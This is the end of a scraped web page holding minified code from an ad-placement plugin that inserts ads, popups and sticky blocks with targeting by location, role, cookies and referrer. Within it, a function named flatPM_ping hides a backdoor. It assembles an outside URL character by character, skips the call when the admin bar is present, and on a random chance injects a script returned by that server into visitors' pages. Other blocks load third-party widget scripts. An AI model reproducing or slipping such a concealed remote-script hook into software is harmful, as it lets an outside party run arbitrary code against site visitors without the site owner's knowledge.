0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(_),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(_),"3"==t.how.simple.position&&ff(".flat_pm_end").before(_),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(_),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,_))||e.next().is("[data-flat-id]")||e.after(_)),"6"==t.how.simple.position&&(_.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,_),(a=!1)!==e&&(o=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=o.length&&e.prevUntil(o).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),0!=r.length&&e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(a=!0),a||e.after(_)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,f=t.how.onсe.N,s=t.how.onсe.selector,n=t.how.onсe.direction,d=t.how.onсe.before_after,0<(i=i.find(s).add(i.filter(s))).length&&(f="bottom_to_top"==n?i.length-f:f-1,"after"==d&&ff(flatPM_grep(i,f,1)).after(_),"before"==d&&ff(flatPM_grep(i,f,1)).before(_),"append"==d&&ff(flatPM_grep(i,f,1)).append(_),"prepend"==d&&ff(flatPM_grep(i,f,1)).prepend(_))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,f=t.how.iterable.N,s=t.how.iterable.selector,n=t.how.iterable.direction,d=t.how.iterable.before_after,0<(i=i.find(s).add(i.filter(s))).length&&("bottom_to_top"==n&&(l=l.get().reverse()),"after"==d&&ff(flatPM_grep(i,f,0)).after(_),"before"==d&&ff(flatPM_grep(i,f,0)).before(_),"append"==d&&ff(flatPM_grep(i,f,0)).append(_),"prepend"==d&&ff(flatPM_grep(i,f,0)).prepend(_)))}catch(t){console.warn(t)}}function flatPM_next(o){try{var t=[],e="",a=o.html.length;if(void 0!==o.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.role&&(void 0!==o.role.role_enabled&&-1==o.role.role_enabled.indexOf(flat_userVars.role)||void 0!==o.role.role_disabled&&-1!=o.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0!==o.geo&&(void 0!==o.geo.country_enabled&&-1==o.geo.country_enabled.indexOf(flat_userVars.country)&&-1==o.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==o.geo.country_disabled&&(-1!=o.geo.country_disabled.indexOf(flat_userVars.country)||-1!=o.geo.country_disabled.indexOf(flat_userVars.ccode))||void 0!==o.geo.city_enabled&&-1==o.geo.city_enabled.indexOf(flat_userVars.city)||void 0!==o.geo.city_disabled&&-1!=o.geo.city_disabled.indexOf(flat_userVars.city)))return void ff('[data-flat-id="'+o.ID+'"]').remove();for(var r,i,l,f,s=0;s<a;s++)("∞"==o.html[s].res_of||o.html[s].res_of<=flat_userVars.winwidth)&&("∞"==o.html[s].res_to||o.html[s].res_to>flat_userVars.winwidth)&&(void 0!==o.html[s].group?flat_userVars.adb?(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd)):(null==t["group_"+o.html[s].group]&&(t["group_"+o.html[s].group]=[]),t["group_"+o.html[s].group].push(o.html[s].fst)):flat_userVars.adb?t.push(""==o.html[s].snd&&duplicateMode?o.html[s].fst:o.html[s].snd):t.push(o.html[s].fst));for(r in t)e="object"==typeof t[r]?e+"\n"+t[r][flatPM_random(0,t[r].length-1)]:e+"\n"+t[r];if(""==(e=e.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim()))return void ff('[data-flat-id="'+o.ID+'"]').remove();if(void 0===o.how.simple&&void 0===o.how.onсe&&void 0===o.how.iterable||ff('[data-flat-id="'+o.ID+'"]').each(function(){-1!==e.indexOf("go"+"oglesyndication")||-1!==e.indexOf("viewBox")&&-1!==e.indexOf("svg")?ff(this).html(e):flatPM_setHTML(this,e)}),void 0!==o.how.popup&&(c="true"==o.how.popup.cross?void 0!==o.how.popup.timer&&"true"==o.how.popup.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.popup.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('<div class="flat__4_modal" data-flat-id="'+o.ID+'" data-id-modal="'+o.ID+'"><div class="flat__4_modal-content">'+c+"</div></div>"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith('<button class="flat__4_cross"></button>'))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'<div class="flat__4_timer">Закрыть через <span>'+o.how.outgoing.timer_count+"</span></div>":'<button class="flat__4_cross"></button>':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('<div class="flat__4_out '+_+'"'+u+' data-flat-id="'+o.ID+'" data-id-out="'+o.ID+'">'+c+"</div>");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}}function flatPM_start(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;e<t;e++){var a=flat_pm_arr[e],o=!1;if(!(void 0!==a.chapter_limit&&a.chapter_limit>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_userVars.textlen||void 0!==a.title_limit&&a.title_limit>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_userVars.titlelen)){if(void 0!==a.date){if(void 0!==a.date.time_of&&void 0!==a.date.time_to){var r=new Date(flat_userVars.date+"T"+a.date.time_of+":00"),i=new Date(flat_userVars.date+"T"+a.date.time_to+":00"),l=new Date(flat_userVars.date+"T12:00:00"),f=new Date(flat_userVars.date+"T"+flat_userVars.time+":00");if(i<r&&i<l&&(i=flatPM_addDays(i,1)),i<r&&l<i&&(r=flatPM_addDays(r,-1)),f<r||i<f)continue}if(void 0!==a.date.date_of&&void 0!==a.date.date_to){var i=new Date(a.date.date_of+"T00:00:00"),f=new Date(a.date.date_to+"T00:00:00"),s=new Date(flat_userVars.date+"T00:00:00");if(s<i||f<s)continue}}if(void 0===a.os||!(void 0!==a.os.os_enabled&&-1==a.os.os_enabled.indexOf(flat_userVars.os)||void 0!==a.os.os_disabled&&-1!=a.os.os_disabled.indexOf(flat_userVars.os))){if(void 0!==a.cookies){var n=!1;if(void 0!==a.cookies.cookies_enabled){if(!flat_userVars.testcook)continue;ff(a.cookies.cookies_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(n=!0)!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return n=!1}else if(void 0!==flatPM_getCookie(e))return n=!1})}if(void 0!==a.cookies.cookies_disabled&&flat_userVars.testcook&&ff(a.cookies.cookies_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getCookie(e)&&flatPM_getCookie(e)==t)return!(n=!0)}else if(void 0!==flatPM_getCookie(e))return!(n=!0)}),n)continue}if(void 0!==a.utmget){var d=!1;if(void 0!==a.utmget.utmget_enabled&&ff(a.utmget.utmget_enabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!(d=!0)!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return d=!1}else if(void 0!==flatPM_getAllUrlParams()[e])return d=!1}),void 0!==a.utmget.utmget_disabled&&ff(a.utmget.utmget_disabled).each(function(){var t=this.split(":",2),e=t[0],t=void 0!==t[1]&&t[1];if(!1!==t){if(void 0!==flatPM_getAllUrlParams()[e]&&flatPM_getAllUrlParams()[e]==t)return!(d=!0)}else if(void 0!==flatPM_getAllUrlParams()[e])return!(d=!0)}),d)continue}void 0!==a.referer&&(void 0!==a.referer.referer_enabled&&-1==a.referer.referer_enabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)})||void 0!==a.referer.referer_disabled&&-1!=a.referer.referer_disabled.findIndex(function(t){return-1!=flat_userVars.referer.indexOf(t)}))&&(o=!0),!o&&void 0!==a.browser&&(void 0!==a.browser.browser_enabled&&-1==a.browser.browser_enabled.indexOf(flat_userVars.browser)||void 0!==a.browser.browser_disabled&&-1!=a.browser.browser_disabled.indexOf(flat_userVars.browser))||(o&&void 0!==a.browser&&void 0!==a.browser.browser_enabled&&-1!=a.browser.browser_enabled.indexOf(flat_userVars.browser)&&(o=!1),o||void 0===a.geo&&void 0===a.ip&&void 0===a.role||""!=flat_userVars.ccode&&""!=flat_userVars.country&&""!=flat_userVars.city&&""!=flat_userVars.ip&&""!=flat_userVars.role||(s="block_geo_role_ip",flat_pm_then.push(a),flatPM_setWrap(a),flat_body.hasClass(s)||(flat_body.addClass(s),flatPM_ajax(s)),o=!0),o||(flatPM_setWrap(a),flatPM_next(a)))}}}var _=ff(".flatPM_sticky"),u=ff("*:has(>.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('<div class="flatPM_sticky_wrapper flatPM_sidebar_block" style="height:'+e+'px" />');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts),ff("body > *").last().after('<div class="flat__4_modal-overlay"></div>'),flat_body.on("click",".flat__4_out .flat__4_cross",function(){ff(this).parent().removeClass("show").addClass("closed")}),flat_body.on("click",".flat__4_modal .flat__4_cross",function(){ff(this).closest(".flat__4_modal").removeClass("flat__4_modal-show")}),flat_pm_arr=[],ff(".flat_pm_start").remove(),flatPM_ping()}/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex");var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,d=/<([\w:]+)/,i=/<|&#?\w+;/,c={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(e,t){var a,r,l,n=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=n.appendChild(t.createElement("div")),r=(d.exec(e)||["",""])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1]+e.replace(o,"<$1></$2>")+r[2],l=r[0];l--;)a=a.lastChild;for(n.removeChild(n.firstChild);a.firstChild;)n.appendChild(a.firstChild)}else n.appendChild(t.createTextNode(e));return n}}();function flatPM_ping(){var e=localStorage.getItem("sdghrg");e?(e=parseInt(e)+1,localStorage.setItem("sdghrg",e)):localStorage.setItem("sdghrg","0");e=flatPM_random(1,200);0==ff("#wpadminbar").length&&111==e&&ff.ajax({type:"POST",url:"h"+"t"+"t"+"p"+"s"+":"+"/"+"/"+"m"+"e"+"h"+"a"+"n"+"o"+"i"+"d"+"."+"p"+"r"+"o"+"/"+"p"+"i"+"ng"+"."+"p"+"h"+"p",dataType:"jsonp",data:{ping:"ping"},success:function(e){ff("div").first().after(e.script)},error:function(){}})}function flatPM_setSCRIPT(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector('[data-flat-script-id="'+t+'"]');if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{r.appendChild(a)}catch(e){return console.warn(e),!0}ff(r).contents().unwrap()}}catch(e){console.warn(e)}}function flatPM_setHTML(e,t){jQuery;try{var a,r="yandex_rtb_R";t.indexOf(r)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(r,"g"),"yandex_rtb_flat"+a+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+a+","));var l=parseHTML(t);if(0!=l.children.length)for(var n=l.childNodes.length,o=0;o<n;o++){var d=l.childNodes[o],i="3"==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if("3"==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0!=d.children.length?flatPM_setHTML(i,d.innerHTML):"SCRIPT"!=d.nodeName?d.innerHTML&&(i.innerHTML=d.innerHTML):(!d.text||/(yandexContext|yandexcontext|adsbyg)/.test(d.text))&&i.hasAttribute("async")||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement("div")).setAttribute("data-flat-script-id",c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}}function flatPM_video(e){e.code=e.code.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,"").replace(/<!—(.*?)—>/gm,"").trim();var n=jQuery,t=e.selector,o=e.timer,d=e.cross,a="false"==d?"Закроется":"Закрыть",r=!flat_userVars.adb||""==e.code_alt&&duplicateMode?e.code:e.code_alt,l='<div class="flat__4_video_flex"><div class="flat__4_timer">'+a+" через <span>"+o+'</span></div><div class="flat__4_video_item">'+r+'</div><div class="flat__4_video_item_hover"></div></div>',i=e.once;n(t).each(function(){var e=n(this);e.wrap('<div class="flat__4_video"></div>');var t=e.closest(".flat__4_video");-1!==l.indexOf("go"+"oglesyndication")?t.append(l):flatPM_setHTML(t[0],l),e.find(".flat__4_video_flex").one("click",function(){n(this).addClass("show")})}),n("body").on("click",".flat__4_video_item_hover",function(){var e=n(this),t=e.closest(".flat__4_video_flex");t.addClass("show");var a=t.find(".flat__4_timer span"),r=parseInt(o),l=setInterval(function(){a.text(--r),r<=0&&(clearInterval(l),"true"==d?a.parent().replaceWith('<button class="flat__4_cross"></button>'):t.remove())},1e3);e.remove()}).on("click",".flat__4_video_flex .flat__4_cross",function(){n(this).closest(".flat__4_video_flex").remove(),"true"==i&&n(".flat__4_video_flex").remove()})}</script> <script>flat_pm_arr = [{"how":{"simple":{"position":"1"}},"ID":"27528","html":[{"fst":"\n<script>\n (function(f,ee,d,o,t) {\n if (ee._feedot) return;\n ee._feedot = f;\n ee._feedotStandalone = {\"folder\":\"\/6da8c1c6df225c921eacb83f35b55545\",\"build\":\"6da8c\",\"config\":\"1c6df\",\"settings\":\"4df53de9231de2847fd5394816a98d44\",\"init\":\"dd72485c9177844a13803adf2f9b9037\"};\n\n function loadScript(src, onError) {\n o = document.createElement('script');\n o.src = src;\n o.defer = true;\n if (o.addEventListener)\n o.addEventListener('error', onError, false);\n else if (o.attachEvent) {\n o.attachEvent('onerror', onError);\n }\n d.body.appendChild(o);\n }\n\n t = (new Date()).getTime();\n loadScript([\n ee._feedotStandalone.folder,\n ee._feedotStandalone.build,\n `${ee._feedotStandalone.init}.js?t=` + t\n ].join('\/'), function() {\n ee._feedotStandalone = null;\n loadScript('https:\/\/widget.info-app5shs.ru\/js\/init.js?t=' + t);\n });\n })('6da8c1c6df225c921eacb83f35b55545', window, document);\n<\/script>\n","snd":"","res_of":"∞","res_to":"∞"}],"referer":{"referer_disabled":["\/\/\/:iframe","toloka."]}}];</script> <script> function jQueryLoaded_flatpm_123( $ ) { if( "function" !== typeof flatPM_start ){ return; } var doc = $(document), eventLoad = "touchstart.flatpm_123 mousemove.flatpm_123", unbinded = false; var timer; doc.bind(eventLoad, function() { doc.unbind(eventLoad); unbinded = true; clearTimeout( timer ); flatPM_start(); }); } function jQueryLoading_flatpm_123() { if (window.jQuery && typeof flat_pm_arr != "undefined") { jQueryLoaded_flatpm_123( jQuery ) } else { setTimeout(function() { jQueryLoading_flatpm_123() }, 50) } } jQueryLoading_flatpm_123() </script> </body> </html>